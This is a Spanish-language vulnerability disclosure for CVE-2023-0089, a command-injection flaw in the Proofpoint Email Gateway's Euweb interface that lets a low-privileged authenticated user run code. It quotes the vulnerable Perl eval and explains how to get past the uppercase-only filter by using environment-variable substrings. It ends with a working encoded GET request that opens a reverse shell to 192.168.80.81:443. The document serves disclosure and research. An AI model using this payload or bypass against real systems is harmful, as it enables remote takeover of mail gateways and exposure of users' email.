
Proofpoint Email Gateway: Usuario autenticado de bajo nivel a administrador RCE
Investigador de seguridad: ly1g3, ly1g3[at]tuta.io
Huella GPG: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
Resumen: Ejecución Remota de Código - Usuario autenticado de bajo nivel a RCE de administrador
CVE: CVE-2023-0089
Cronología:
Exploits para Proofpoint Messaging Security Gateway
Un usuario de bajo nivel (autenticado) de Euweb puede obtener ejecución arbitraria de código con privilegios de administrador.
La función getMsgType en Euwebutils.pm es vulnerable a inyección de comandos. La variable $module proviene de un parámetro get y no se aplica sanitización a esta entrada del usuario.
sub getMsgType {
...
else {
$msgtype = eval "Proofpoint::Digest::PROOFPOINT_MAIL_REPORT_MSGTYPE_".uc($module);
}
Esta función getMsgType es utilizada por muchas llamadas API utilizadas por la aplicación Euweb, por lo que el exploit puede activarse de muchas maneras.
Dado que todos los caracteres deben estar en mayúsculas, se pueden usar variables de entorno para eludir esta restricción para letras minúsculas. Ejemplo: ${SHELL:1:1} en lugar de b
Dado que se utiliza use strict, se puede agregar MAIL_GENERAL() al inicio de la cadena para completar PROOFPOINT_MAIL_REPORT_MSGTYPE_. Después de esto, se puede agregar código perl personalizado.
Ejemplo de payload sin codificar: MAIL_GENERAL();`id`
Shell inversa codificada usando variables de entorno para eludir las restricciones de minúsculas. Código ejecutado como usuario pps.
GET /euweb/euweb?cmd=x_releasemsg&id=0&func=ReleaseMsg&entries=23%3A23%3A12&eid=3&module=MAIL_GENERAL()%3b`/\${SHELL%3a1%3a1}\${SHELL%3a2%3a1}\${LANG%3a1%3a1}/\${USER%3a2%3a1}\${SHELL%3a8%3a1}+-\${SHELL%3a2%3a1}+>%26+/\${SSH_TTY%3a1%3a1}\${TERM%3a2%3a1}\${MAIL%3a1%3a1}/\${TERM%3a1%3a1}\${TERM%3a9%3a1}\${USER%3a0%3a1}/192.168.80.81/443+0>%261`